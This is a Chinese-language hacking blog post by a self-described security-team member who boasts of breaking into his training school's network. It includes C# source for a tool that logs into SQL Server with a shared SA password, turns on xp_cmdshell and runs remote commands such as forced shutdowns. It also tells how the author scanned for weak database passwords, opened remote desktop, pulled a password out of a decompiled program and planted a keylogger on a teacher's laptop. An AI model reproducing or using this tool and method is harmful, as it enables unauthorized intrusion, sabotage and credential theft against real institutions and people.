作者：Trojan [ESST] 噩靈戰隊[Evil-Soul Security Team]
最近一直没时间写文章给大家,主要是因为我在北大青鸟上学,学习软件开发.时间少的要命.既然是玩黑的就要简单在青鸟内网渗透下.
简单介绍下青鸟的机房怎么安排的.一共6个机房,一个公用机房.老师办公室人手一个笔记本.六个机房的学生机器是类似这样的IP:192.168.1.x 不可以上网.机房里的教员机器(也就是老师的机器)有两个IP.一个是192.168.1.x,一个是192.168.0.x,为什么要弄成0.x呢,主要是办公室的机器IP是192.168.0.x的一人只有一个IP.老师在讲课的时候在机房要远程登陆自己的机器,也就是0.x的.里面有老师的讲课的PPT之类的东西.学校有一个FTP服务器是192.168.1.253这个IP.每个学员都有自己的FTP帐户(密码空,只有写入权限).教师有一个帐户,帐号是teacher密码我就不知道了.当学员想清理自己的FTP的时候就找老师..大概就是这个情况..
那天上课的时候无聊.想这搞搞同学的机器.每个学员都是administrator权限.sql server的SA密码统一123.直接利用xpcmdshell加一个shutdown-p就恶搞了他们几天.S1快毕业的时候有一节复习课.我和D38k70p同学就用C#写了个工具.为了方便恶搞..
简单发下C#的关键代码给大家研究:
private void btnGo_Click(object sender, EventArgs e)
{
try
{
//打开数据库
DBHelper.conn.Open();
//定义sql语句
string sql = "EXEC sp_configure 'xp_cmdshell',0 RECONFIGURE EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
SqlCommand comm = new SqlCommand(sql, DBHelper.conn);
try
{
comm.ExecuteNonQuery();
}
catch
{
comm.ExecuteNonQuery();
}
sql = string.Format("EXEC xp_cmdshell '{0}'", this.txtCmd.Text);
comm.CommandText = sql;
try
{
comm.ExecuteNonQuery();
}
catch
{
comm.ExecuteNonQuery();
}
SqlDataReader dr = comm.ExecuteReader();
while(dr.Read())
{
txtReturn.Text = txtReturn.Text + "\r\n" + dr[0].ToString();
}
dr.Close();
}
finally
{
DBHelper.conn.Close();
}
}
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
{
//几个猥琐的命令
switch (this.comboBox1.Text)
{
case "瞬间关机":
this.txtCmd.Text = "shutdown -p";
break;
case "30秒关机":
this.txtCmd.Text = "shutdown -r";
break;
case "注销":
this.txtCmd.Text = "shutdown -f";
break;
}
}
private void btnEixt_Click(object sender, EventArgs e)
{
Application.Exit();
}
private void button1_Click(object sender, EventArgs e)
{
try
{
Ping pingSender = new Ping();
PingReply reply = pingSender.Send(txtIp.Text);
if (reply.Status == IPStatus.Success)
{
MessageBox.Show("Success");
}
else
{
MessageBox.Show("Fail");
}
}
catch(Exception ex)
{
MessageBox.Show(ex.Message);
}
}
private void btnLoginTest_Click(object sender, EventArgs e)
{
if (sqlConn())
{
MessageBox.Show("OK,U can kill him");
}
else
{
MessageBox.Show("The Password is wrong!");
}
}
public bool sqlConn()
{
ip = string.Format("Data Source={0};Database=master;user id ={1} ;pwd ={2}", this.txtIp.Text,txtUser.Text,txtPwd.Text);
DBHelper.conn = new SqlConnection(ip);
try
{
DBHelper.conn.Open();
return true;
}
catch
{
return false;
}
}
private void button2_Click(object sender, EventArgs e)
{
this.txtReturn.Text = "";
}
}
}
复制代码工具有了,可以开个3389加个用户啥的..通杀6个机房的学员机器.
但是机房的教员机器还没控制呢..不知道IP是多少.突然有一天在2机房老师架设了IIS叫我们用反射给程序实现在线升级的功能.我这一看IP是1.242.老师的IP肯定有规律的一机房的教师机是1.241,二机房的教师机IP是1.242,就是这个了..这样的话可以利用拿到教员机器的3389在去远程登陆老师的笔记本..老师的笔记本还是外网的.可以抓个肉鸡..
不知道教员机器SA密码是啥.于是找了个工具开始扫1433弱口令..扫了老半天终于扫到了..可以拿到3389了.过了几天,D38k70p童鞋不知道从哪个娃的FTP找到了一个清理FTP工具.我一看真好使..在坐车回家的路上和D38k70p童鞋讨论那个工具的原理.大概作者不是知道了teacher的密码就是sql的密码..回到家D38k70p就用Xenocode Fox 2007反汇编那个清理FTP工具..直接找到SA密码..第二天成功拿到服务器的权限..D38k70p童鞋说,既然搞了就把老师的笔记本也搞掉..我说好.上机的时候用最快的速度把老师的机器拿到权限.放个键盘记录工具...就这样拿到了教师的笔记本.校长室的笔记本就算了
……